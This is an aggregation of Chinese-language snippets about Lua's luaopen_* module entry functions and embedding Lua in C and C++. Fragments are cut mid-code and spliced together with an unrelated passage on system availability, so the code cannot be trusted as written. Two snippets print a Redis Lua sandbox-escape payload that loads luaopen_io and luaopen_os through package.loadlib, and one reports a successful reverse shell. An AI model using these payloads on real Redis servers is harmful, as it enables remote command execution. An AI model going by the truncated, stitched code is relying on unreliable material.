当执行到require “dylib.test”时,lua解析器会去dylib/test.so文件中寻找并执行函数名为luaopen_dylib_test的函数。.../dylib/test.so: undefined symbol: luaopen_dylib_test stack traceback: [C]: in ?...对于一个Lua文件来说,我们可以很轻易的改掉它的名称,但是对于一个C程序库来说,我们是没有办法编辑其中的luaopen_函数的名称的。...为了这种重命名的需求,require用到了一个小的技巧:如果一个模块名中包含了连字符,require就会用连字符后的内容来创建luaopen_*函数名。...比如:如果一个模块的名称为a-b,require就会认为它的open函数名为luaopen_b,并不是luaopen_a-b。现在好了,对于上面提出的不同版本进行测试的需求,就可以迎刃而解了。
等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 : luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package...进而逃逸沙箱执行任意命令 借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io...,来加载任意Lua库,最终逃逸沙箱,执行任意命令: local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io...close(); return res eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io
MYLUALIB_H #define _MYLUALIB_H #pragma once #include /// call by lua when require extern "C" int luaopen_mylualib...luaL_Reg m_lib[] = { {"c_add", add}, {NULL, NULL} // END }; // lua 中 require "xxx" // 对应调用 luaopen_xxx...() int luaopen_mylualib(lua_State* L) { luaL_newlib(L, m_lib); // 1 value return : m_lib,...luaL_openlibs(L); // load my lua lib // mylualib.xxx in lua luaL_requiref(L, "mylualib", luaopen_mylualib.../student.h" extern "C" int luaopen_student(lua_State* L); #endif 实现文件 #include "l_student.h" #include
define SLUA_3RD_LOADED #include "luatest.c" //要测试的第三方源文件 #define EXTEND_LUA_LIB_MAP(XX) XX(luatest,luaopen_luatest...) //这里执行XX static int luaopen_all3rd(lua_State *L) { int top=lua_gettop(L); //获得栈顶值 #define XX(libname...,opnefunc) (opnefunc(L),lua_setglobal(L,#libname)) //这里XX的作用就是执行第三方库的开始方法 //(执行luaopen_XXX函数)并将libname...const struct luaL_Reg mylibs[]=//要注册方法数组 { {"Test1",Test1}, {"Test2",Test2}, {NULL,NULL}, }; int luaopen_luatest...然后再找到 luaS_openextlibs方法,在这个方法中添加all3rd.h文件中的luaopen_all3rd方法,参数指针传入,添加如图标记的部分 ?
1 lualib.h中新增我们库的名字"fl",并声明注册我们库的函数luaopen_fl …… #define LUA_FFILIBNAME "ffi" #define LUA_FLLIBNAME..."fl" …… LUALIB_API int luaopen_ffi(lua_State *L); LUALIB_API int luaopen_fl(lua_State *L); 2...在lib_init.c中,将我们的库名字和打开库的名字banding …… { LUA_JITLIBNAME, luaopen_jit }, { LUA_FLLIBNAME, luaopen_fl...主要是实现注册我们库的luaopen_fl函数,和函数名和函数地址绑定结构体数组uaL_Reg_fl_lib #include "lua.h" #include "lauxlib.h" #include...lualib.h" #include "lj_lib.h" static const luaL_Reg fl_lib[] = { { NULL, NULL } }; LUALIB_API int luaopen_fl
OnInitDialog里)调用下面一段代码,这段代码的作用是打开一些必要的库: lua = lua_open (); if(lua) { luaopen_base...(lua); luaopen_table (lua); luaopen_string (lua); luaopen_math...(lua); luaopen_debug (lua); //luaopen_io (lua); } 用完lua的时候,调用下面一句来关闭
lua只识别以luaopen开头的函数。5.1、原理c语言编写模块,编译成动态库。lua加载c语言的动态库:.so,.dll,.dylib。约定读取动态库中以luaopen_*命名的函数。...static const luaL_Reg l[] = {// 导出给lua使用数组 {"echo", lecho}, {NULL, NULL}, }; (3)c语言实现一个luaopen开头的函数...int luaopen_tbl_c(lua_State *L) { // local tbl = require "tbl.c" // 创建一张新的表,并预分配足够保存下数组 l 内容的空间...5.3、从lua角度看调用过程(1)lua首先会进行动态库的导入,即local so=require "table.c"(2)Lua就会去查找动态库中以luaopen_*开头的函数,*就是展开了的c文件名...,比如展开为luaopen_table_c的函数名。
(注:之所以需要这样,是因为在socket.lua里面加载c库使用了require(socket.core),利用了lua加载库的一个特性,lua加载完库后会检查库里面是否存在luaopen_xxx_xx...的入口函数,其中的xx就是路径的名字,比如socket.dll里面的入口函数就是luaopen_socket_core,所以这样加载会默认调用入口函数,后面我会再介绍一下如何手动加载入口函数。)。...--第一个参数是dll或者so库文件名,第二个参数是入口函数名称 local open_function, code = package.loadlib("socket", "luaopen_socket_core
//开启lua中的标准库 lua_open_base(pL); luaopen_string(pL); luaopen_table(pL); luaopen_math(pL); luaopen_io(pL...); Lua中有几个标准库,它们提供了输入输出、算术计算、字符串操作等一系列的功能函数。
前些日子准备学习下关于lua coroutine更为强大的功能,然而发现根据lua 5.1.4版本来运行一段代码的话也会导致 “lua: attempt to yield across metamethod...lua.c compiler: library, luac.c 如若编译时选得参数和版本不太一致就会出现类似的错误: linit.obj : error LNK2001: 无法解析的外部符号 _luaopen_coroutine...linit.obj : error LNK2001: 无法解析的外部符号 _luaopen_bit32 ---- VC命令行:可配置VS or VC环境变量,也可采取如下方法设置下即可: 运行脚本vsvars32
create_cert_time", create_cert_time}, {"expire_cert_time", expire_cert_time}, {NULL,NULL} }; int luaopen_libcert...create_cert_time", create_cert_time}, {"expire_cert_time", expire_cert_time}, {NULL,NULL} }; c库入口函数 通过luaopen_xxx...实现,xxx标识c函数封装so动态库的名称,该例中动态库名称为libcert.so,固函数名为luaopen_libcert,luaL_register参数为lua_State、动态库名称libcert...int luaopen_libcert(lua_State *L) { luaL_register(L,"libcert",lib); return 1; } lua代码调用c动态库
\ 我下载到了RBT6的芯片上测试的 先说一下最终实现的效果吧,就是用lua语言控制单片机的PC13 每间隔500Ms反转一次 实现功能的部分 static int lua_led_on(lua_State..."; 调用部分 while(1) { lua_State *L; L = luaL_newstate(); /* 建立Lua运行环境 */ luaopen_base...(L, LUA_SCRIPT_GLOBAL); /* 运行Lua脚本 */ while(1); 其实虽然可以了,但是也没什么感觉....因为可能需要裁剪很多功能才能运行在...5S while(1) { lua_State *L; L = luaL_newstate(); /* 建立Lua运行环境 */ luaopen_base
lfs.o”,文件尾添加“lfs.o: lfs.c lfs.h” 4、在linit.c中的static const luaL_Reg loadedlibs[]里加入“{LUA_LFSLIBNAME, luaopen_lfs...}” 5、在lualib.h 中加入“#define LUA_LFSLIBNAME "lfs””、“LUAMOD_API int (luaopen_lfs) (lua_State *L);” 6、重新
init_lua(L); // 初始化上下文 run_code(L, argv[1]); // 运行传入的Lua代码 lua_close(L); // 关闭上下文 } init_lua 通过luaopen_jit...cargo()函数最后会被debug_jit()来处理 void init_lua(lua_State* L) { // Init JIT lib lua_pushcfunction(L, luaopen_jit...); // 传入luaopen_jit,即将被调用的函数 lua_pushstring(L, LUA_JITLIBNAME); // 传入LUA_JITLIBNAME参数给luaopen_jit...lua_call(L, 1, 0); /* 通过传入LUA_JITLIBNAME给luaopen_jit函数完成jit加载 */ set_jit_settings(L); // 完成jit...lua_setglobal(L, "print"); // print = print } set_jit_settings 这个函数通过luaL_dostring执行了两行Lua语句,主要功能是设置优化级别为
192.168.31.148:6379>eval'localos_execute=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_os...44440>&1\"");'0反弹成功:漏洞核心原理Debian系统的“过度打包”正常的Redis官方版本在编译时,会将Lua脚本引擎的代码静态嵌入到程序内部,并且严格剔除了Lua原生标准库中具有危险功能的模块...但攻击者可以指定加载系统自带的liblua5.1.so.0库,并强行调用其中的luaopen_os函数。这个操作会在当前的RedisLua环境中手动重新激活并导出原本被禁用的os模块。
return 1;} static const struct luaL_Reg reg_test[] = { {"test", test}, {NULL, NULL}}; int luaopen_test...当我们require"test"的时候,lua会去当前目录找test.o,并且执行其中的luaopen_test函数。luaopen_前缀是约定,test则是模块名称。
Alternatively, it can open them individually by calling luaopen_base (for the basic library), luaopen_package...(for the package library), luaopen_string (for the string library), luaopen_table (for the table library...), luaopen_math (for the mathematical library), luaopen_io (for the I/O and the Operating System libraries...), and luaopen_debug (for the debug library)....For instance, if the module name is a.v1-b.c, the function name will be luaopen_b_c.
交互原理 用Lua编写iOS程序 http://blog.csdn.net/justinjing0612/article/details/8816678 IOS中如何调用LUA,以及LUA如何调用IOS中的功能...这种转换功能强大,甚至可以处理复杂的Objective-C特性,比如选择器。 你可以利用所有上述特性。不需要精挑细选。你获得所有特性!...NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; wax_start("AppDelegate.lua", luaopen_wax_http..., luaopen_wax_json, luaopen_wax_filesystem, nil); int retVal = UIApplicationMain(argc, argv, nil...但是Lua可以很容易地被扩展:由宿主语言(通常是C或C++)提供这些功能,Lua可以使用它们,就像是本来就内置的功能一样。事实上,现在已经有很多成熟的扩展模块可供选用。
然后是编译lpack,有两种方式来编译和初始化lpack 1、将lpack.c加到宿主程序的源码里面,然后在初始化lua的地方调用初始化函数: luaopen_pack(lua_state);
“高可用性”是架构设计中的重点目标,功能的分离与降级就是保证高可用性的常用方案 功能分离的思路是区分开 核心业务、非核心业务,让核心业务尽量不受非核心业务影响 功能降级的思路是在访问量过大使系统资源不足...,或者出现问题时,优先保证核心业务,把非核心业务直接降级 功能分离 逻辑分离 例如用户登录、注册、交易是核心功能,是网站整体业务流程必须的,核心功能有问题后,用户就不能正常使用了 例如发送通知...、日志处理就是非核心功能,虽然很重要,但不是必须的业务流程 非核心功能可能会频繁修改升级,必须保证非核心功能不影响核心功能,就需要在逻辑上把他们区分开,尽可能做成独立的功能模块,降低耦合,在需要功能配合时...,通过接口进行沟通 物理分离 逻辑上隔离后,最好在物理资源层面也隔离开,如应用服务器、数据库、缓存等 假设共享了缓存服务器,就可能会由于非核心功能的操作影响了缓存的性能,甚至出现问题 物理隔离后...,就更加保证了核心功能的安全 功能降级 例如一个页面有很多动态的内容,是后面大量的服务计算出来的,在访问高峰,动态页面扛不住时,可以降级为准备好的静态页面,虽然没动态的页面好,但保证了可用性